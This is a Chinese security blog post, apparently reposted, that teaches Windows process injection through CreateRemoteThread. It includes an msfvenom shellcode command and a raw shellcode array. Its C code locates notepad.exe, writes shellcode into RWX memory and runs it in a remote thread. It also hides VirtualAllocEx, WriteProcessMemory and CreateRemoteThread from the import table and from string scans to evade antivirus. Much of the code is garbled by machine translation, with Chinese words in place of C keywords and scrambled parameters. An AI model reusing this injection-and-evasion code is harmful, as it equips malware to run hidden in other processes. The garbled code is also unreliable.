进程的注入探索

admin 2022年7月10日18:21:27评论40 views字数 9783阅读32分36秒阅读模式

前言

涉及的技术不完善,个人在学习过程中注入深水中的内容,文章的内容涉及到流程注入基础,将通过文章自动获取流程的Pid、加载、导入表的基本处理、底层源码等,过程中需要理解的部分,我会隐含言简意赅。

0x01 简单描述

进程运行的程序开辟内存,把shellcode留给一个正在运行的程序,然后用一个线程去执行shellcode。

0x02 外壳代码

所有示例代码都使用从 Metasploit Frameworks Msfvenom 工具生成的相同的 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 执行 Calc.exe

0x03 代码实现

CreateReteThread()进程导入,实际上需要实现关于四个主要目标:

  • OpenProcess()打开将要获取进程获取句柄

  • VirtualAllocEx) – 能够访问进程外部(以便在其虚拟空间内分配内存)。

  • WriteProcessMemory( ) – 将 shellcode 写入分配的内存。

  • CreateRemoteThread() – 让进程外部在另一个线程中执行上述shellcode。

获取进程目标句柄 OpenProcess()
OpenProcess函数打开一个现有进程的对象。

HAND  OpenProcess ( 
DWORD dwDesiredAccess , // 寻求得到 的(标志)肯定是PROCESS_ALL_ACC ,那BOOL bheritHandle , //继承句柄,一般不是DWORDESSdwProcessId //进程中,即访问权限进程的PID );

VirtualAllocEx
是需要调用的 Windows API,以便位于指定进程区域(我们要初始化我们的进程申请)的虚拟空间空间。VirtualAlloc –ExAlloc
(HANDLE API hExAlloc)(句柄)

LPVOID  VirtualAllocEx ( 
HANDLE Process h // 进程分配的内存大小,// 进程自动处理 LPVOID lpAddress //页面内存 地址,一般用NULL分配SIZE_T dwSize 欲分配的内存大小,为字节单位,通常是shellcode DWORD flAllocationType , // 分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT DProtect // 分配的内存保护,因为需要指定包含执行的代码,因此常用 ECU TE_READWRITE,可以写);



该写入进程内存(WriteProcessMemory
可以分配了一个与我们的 shellcode 相同的shellcode),已经我们的shellcode 将写入我们现在的大小。

WriteProcessMemory ()  –将数据写入 指定进程中的内存区域。BOOL  WriteProcessMemory ( 
HANDLE hProcess , //要向其中写入数据的进程,即由 OpenProcess 返回的进程句柄
LPBaseAddress , //要写入的数据的进程首地址,ViualAllocEx的LPCVOID , // 指向要写入的数据写入的指针值,该指针必须是返回的指针,shellcode 是 constize SIZE_T nS , //接收字节数,shellcode 大小ritten // 接收传输到指定进程中的字节数,通常为NULL );


创建远程线程()创建远程线程()
可以从我们的内存空间加载到受害进程现在分配的虚拟内存,然后我们告诉受害进程的shellcode,然后创建地址创建一个新线程。创建远程线程
()–一个在远程进程的虚拟机地址空间中运行的线程。

HANDLE  CreateRemoteThread hProcess , // 线程线程的进程
句柄 ,即OpenProcess返回的句柄LPThreadAttributes , //线程的安全通常为NULL SIZE_T dwStackSize , // 线程栈初始大小,以字节为单位,通常为0,即系统默认。LPTHREAD_STARTOUTINE lpStartress , // 在代表进程的地址空间中,该进程的返回值函数注意使用地址的大小。VirtualAlloc ,,,需要立即转换类型输出参数给线程函数的指针,这里为NULL,在DLL注入的时候有重要意义DWORD dwCreationFlags , //线程的创建标志,通常为0,即线程的创建后立即运行LPDWORD lpThreadId //指向所创建线程ID的指针,通常为NULL );





基础代码

#include  <windows.h>#include  <stdio.h>int  main ( int  argc ,  char *  argv [])  {
无符号 字符 缓冲区[] = " xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52 " " x51x56x48x31xd2 x65x48x8bx52x60x48x8bx52x18x48 " " x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31 xc9 " " x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41 " " x01xc1xe2xedx52x41x51 x48x8bx52x20x8bx42x3cx48 " " x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01 " " xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48 " "xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0 " " xacx41xc1xc9x0dx41x01xc1x38 xe0x75xf1x4cx03x4c " " x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0 " " x66x41 x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04 " " x88x48x01xd0x41x58x41x58x5ex59x5a x41x58x41x59 " " x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48 " " x8bx12xe9x57 xffxffxffx5dx48xbax01x00x00x00x00 " " x00x00x00x48x8dx8dx01x01x00x00x41xbax31 x8bx6f " "x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff " " xd5x48x83xc4x28x3cx06x7cx0a x80xfbxe0x75x05xbb " " x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c " " x63x2e x65x78x65x00 " ;
printf ( "alloc:%p n " , buf );HANDLE Process = OpenProcess (
( DWORD ) PROCESS_ALL_ACCESS ,
( BOOL ) FALSE ,
//(DWORD)atoi(pid));
atoi ( argv [ 1 ]));
if ( Process == NULL )
{
printf ( " n openprocess error%d n " , GetLastError ());
}
printf ( "pid:%d" , atoi ( argv [ 1 ]));
void * exec = VirtualAllocEx 进程 NULL sizeof buf ), MEM_COMMIT PAGE_EXECUTE_READWRITE );
if ( exec == NULL )
{
printf ( "VirtualAllocEx error%d n " , GetLastError ());
} BOOL 内存 = WriteProcessMemory (
( HANDLE )进程,
( LPVOID ) exec ,
( LPCVOID ) buf ,
sizeof buf ,
NULL );
if ( Memory == 0 )
{
printf ( "WriteProcessMemory:%d n " , GetLastError ());
} HANDLE thred = CreateRemoteThread
HANDLE 进程
LPSECURITY_ATTRIBUTES NULL
SIZE_T 0
LPTHREAD_START_ROUTINE exec
LPVOID NULL
DWORD 0
LPDWORD NULL );
if ( thred == NULL )
{
printf ( "CreateRemoteThread:%dn " , GetLastError ());
} }

进程的注入探索


自动拍摄
截图https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snap-and-viewing-processes

//拍摄快照HANDLE  Snapshot  CreateToolhelp32Snapshot  (( DWORD ) TH32CS_SNAPPROCESS ,( DWORD ) 0 ); if ( Snapshot == INVALID_HANDLE_VALUE ) { printf ( "CreateToolhelp32Snapshot:%d n " , GetLastError ()); } //初始化PROCESSENTRY32 pe32 ; pe32 dwSize = sizeof ( PROCESSENTRY32 );   
BOOL First = Process32First (
( HANDLE )快照,
& pe32 ); if ( First == FALSE ) {
printf ( "Process32First:%d n " , GetLastError ()); }//匹配注入进程名称DWORD pid ; while ( First ) {
if ( wcscmp ( pe32.szExeFile , L " notepad.exe " ) == 0 ) { pid = pe32 . th32进程ID 休息; } First = Process32Next (( HANDLE )快照, & pe32 ); }





进程的注入探索


加载shellcode

HANDLE  openinfile  =  CreateFileA (  
//"e:\calc.bin",
lnFileName ,
GENERIC_READ ,
0 ,
NULL ,
OPEN_EXISTING ,
FILE_ATTRIBUTE_NORMAL ,
NULL );
if ( openinfile == INVALID_HANDLE_VALUE );
{
printf ( "创建文件错误:%d n " , GetLastError ());
}
//
int size = GetFileSize ( openinfile , NULL );
如果 大小 == INVALID_FILE_SIZE );
{
printf ( "GetFileSize Error:%d n " , GetLastError ());
}
//
字符* buf = (字符* ) malloc (大小 + 1 );
DWORD lpNumberOfBytesRead = 0 ;
//
BOOL rfile = ReadFile (
openinfile ,
buf ,
size ,
& lpNumberOfBytesRead ,
NULL );
for ( int i = 0 ; i < size ; i ++ )
{
printf ( " \ x%02x" , (无符号 char ) buf [ i ]);
}


进程的注入探索


IAT,导入地址表(导入地址表)

IAT 是为了加载加载或重函数地址表,这个程序在执行加载加载和重函数地址表时,专门用来记录一个加载函数的地址表。将这些dll的地址替换到这个空间的地址,然后替换所有函数的地址,然后将其替换为这个函数的地址,然后替换所有函数的地址(直接替换) ,PE 的 IAT 表会很可能,可能就丢弃了。

翻译:IAT是一种表格,用来记录程序正在使用哪些库中的哪些函数。

如果一个文件的文件大小在 30KB 以内,并且传入参数那么高的文件是 0x40、CreateThread 等高危函数危及 VirtualAlloc 的一个高危函数,并且这个文件极有可能是,会被重点关注。

这里使用VS自带的垃圾箱查看

进程的注入探索


没有修改之前可以看到存在高危函数如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等

进程的注入探索


在字符串中查看敏感函数关键字,解决:通过分解、源代码办法、加壳等方式。


进程的注入探索


GetProcAddress 获取函数地址
GetProcAddress 这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

typedef  LPVOID ( WINAPI *  Virtual_AllocEx )(  
_In_ HANDLE hProcess ,
_In_opt_ LPVOID lpAddress ,
_In_ SIZE_T dwSize ,
_In_ DWORD flAllocationType ,
_In_ DWORD flProtect ); typedef BOOL ( WINAPI * ImportWriteProcessMemory )(
_In_ HANDLE hProcess ,
_In_ LPVOID lpBaseAddress ,
_In_reads_bytes_ ( nSize ) LPCVOID lpBuffer ,
_In_ SIZE_T nSize ,
_Out_opt_ SIZE_T * lpNumberOfBytesWritten ); typedef HANDLE ( WINAPI * ImportCreateRemoteThread )
( _In_ HANDLE hProcess ,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes ,
_In_ SIZE_T dwStackSize ,
_In_ LPTHREAD_START_ROUTINE lpStartAddress ,
_In_opt_ LPVOID lpParameter ,
_In_ DWORD dwCreationFlag_lpId ,
PD_Out ) ;
// 避免高危字符串
char ker32 [] = { 'K' , 'e' , 'r' , 'n' , 'e' , 'l' , '3' , '2' , '.' , 'd' , 'l' , 'l' , 0 };
HMODULE hKer32 = LoadLibraryA ( ker32 );
char VAllocEx [] = { 'V' , 'i' , 'r' , ''a' , 'l' , 'l' , 'o' , 'c' , 'E' , 'x' , 0 };
Virtual_AllocEx V_AllocEx = ( Virtual_AllocEx ) GetProcAddress ( hKer32 , VAllocEx );//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = ( ImportWriteProcessMemory ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "WriteProcessMemory" ); ImportCreateRemoteThread MyCreateRemoteThread = ( ImportCreateRemoteThread ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "CreateRemoteThread"

修改后查看导入表,高危函数已不在中了

进程的注入探索

完整代码

#include  <windows.h>#include  <stdio.h>#include  <tlhelp32.h>#include  <TCHAR.h>typedef  LPVOID ( WINAPI *  ImportVirtualAllocEx )(  
_In_ HANDLE hProcess ,
_In_opt_ LPVOID lpAddress ,
_In_ SIZE_T dwSize ,
_In_ DWORD flAllocationType ,
_In_ DWORD flProtect
); typedef BOOL ( WINAPI * ImportWriteProcessMemory )(
_In_ HANDLE hProcess ,
_In_ LPVOID lpBaseAddress ,
_In_reads_bytes_ ( nSize ) LPCVOID lpBuffer ,
_In_ SIZE_T nSize ,
_Out_opt_ SIZE_T * lpNumberOfBytesWritten
); typedef HANDLE ( WINAPI * ImportCreateRemoteThread )
( _In_ HANDLE hProcess ,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes ,
_In_ SIZE_T dwStackSize ,
_In_ LPTHREAD_START_ROUTINE lpStartAddress ,
_In_opt_ LPVOID lpParameter ,
_In_ DWORD dwCreationFlag_lpId ,
PD_Out ) ;
无效 代码LPCSTR lnFileName {
//char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l ','l',0 };
//HMODULE hKer32 = LoadLibraryA(ker32);
//char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E ','x',0 };
//Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx");
ImportVirtualAllocEx MyVirtualAllocEx = ( ImportVirtualAllocEx ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "VirtualAllocEx" );
ImportWriteProcessMemory MyWriteProcessMemory = ( ImportWriteProcessMemory ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "WriteProcessMemory" );
ImportCreateRemoteThread MyCreateRemoteThread = ( ImportCreateRemoteThread )GetProcAddress GetModuleHandle TEXT “kernel32.dll” )), “CreateRemoteThread” );
HANDLE openinfile = CreateFileA (
//"e:\calc.bin",
lnFileName ,
GENERIC_READ ,
0 ,
NULL ,
OPEN_EXISTING ,
FILE_ATTRIBUTE_NORMAL ,
NULL );
if ( openinfile == INVALID_HANDLE_VALUE );
{
printf ( "创建文件错误:%d n " , GetLastError ());
}
//
int size = GetFileSize ( openinfile , NULL );
如果 大小 == INVALID_FILE_SIZE );
{
printf ( "GetFileSize Error:%d n " , GetLastError ());
}
//
字符* buf = (字符* ) malloc (大小 + 1 );
DWORD lpNumberOfBytesRead = 0 ;
//
BOOL rfile = ReadFile (
openinfile ,
buf ,
size ,
& lpNumberOfBytesRead ,
NULL );
for ( int i = 0 ; i < size ; i ++ )
{
printf ( " \ x%02x" , (无符号 char ) buf [ i ]);
}
//
处理快照= CreateToolhelp32Snapshot (( DWORD ) TH32CS_SNAPPROCESS , ( DWORD ) 0 ); if ( Snapshot == INVALID_HANDLE_VALUE ) { printf ( "CreateToolhelp32Snapshot:%d n " , GetLastError ()); } // PROCESSENTRY32 pe32 ; pe32 dwSize = sizeof ( PROCESSENTRY32 );







BOOL First = Process32First (
( HANDLE )快照,
& pe32 );
if ( First == FALSE )
{
printf ( "Process32First:%d n " , GetLastError ());
}
//
双字 pid ;
while ( First )
{
if ( wcscmp ( pe32.szExeFile , L " notepad.exe " ) == 0 ) { pid = pe32 . th32进程ID 休息; } First = Process32Next (( HANDLE )快照, & pe32 ); }







HANDLE Process = OpenProcess (
( DWORD ) PROCESS_ALL_ACCESS ,
( BOOL ) false ,
//(DWORD)atoi(pid));
( DWORD ) PID
);
if ( Process == NULL )
{
CloseHandle ( Process );
printf ( " n打开进程错误%d n " , GetLastError ());
}
_tprintf ( TEXT ( " n pid:%dn " ), pe32 . th32ProcessID );
HANDLE exec = MyVirtualAllocEx (
Process ,
NULL ,
//sizeof(buf),
size ,
MEM_COMMIT ,
PAGE_EXECUTE_READWRITE
);
if ( exec == NULL )
{
printf ( "VirtualAllocEx error%d n " , GetLastError ());
}
BOOL Memory = MyWriteProcessMemory (
( HANDLE ) Process ,
( LPVOID ) exec ,
( LPCVOID ) buf ,
//sizeof buf,
size ,
NULL );
if ( Memory == 0 )
{
printf ( "WriteProcessMemory:%d n " , GetLastError ());
}
HANDLE thred = MyCreateRemoteThread
HANDLE 进程
LPSECURITY_ATTRIBUTES NULL
SIZE_T 0
LPTHREAD_START_ROUTINE exec
LPVOID NULL
DWORD 0
LPDWORD NULL );
if ( thred == NULL )
{
CloseHandle ( thred );
printf ( "CreateRemoteThread:%d n " , GetLastError ());
} } int main ( int argc , char * argv []) {
//int main()
if ( argc != 2 )
{
printf ( "please bin" );
}
其他
{
代码( argv [ 1 ]);
} }

还可以增加系统调用直接调用、支持功能还申请优化、尝试高强度配置用于执行等,请师傅直接使用。

0x04 相关推荐

https://payloads.online/archivers/2020-10-23/1/
https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/
https://github.com/d35ha/CallObfuscator

0x05 后记

行程不足欢迎师傅点和翻译,感谢我们帮助和支持的朋友,最后给你
。已同意。



来源先知(https://xz.aliyun.com/t/11489)


注:如有绘画请联系删除





进程的注入探索

欢迎大家一起加群讨论学习和交流

进程的注入探索

快乐要懂得分享,

加倍的快乐。

原文始发于微信公众号(衡阳信安):进程的注入探索

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月10日18:21:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   进程的注入探索http://cn-sec.com/archives/1169482.html

发表评论

匿名网友 填写信息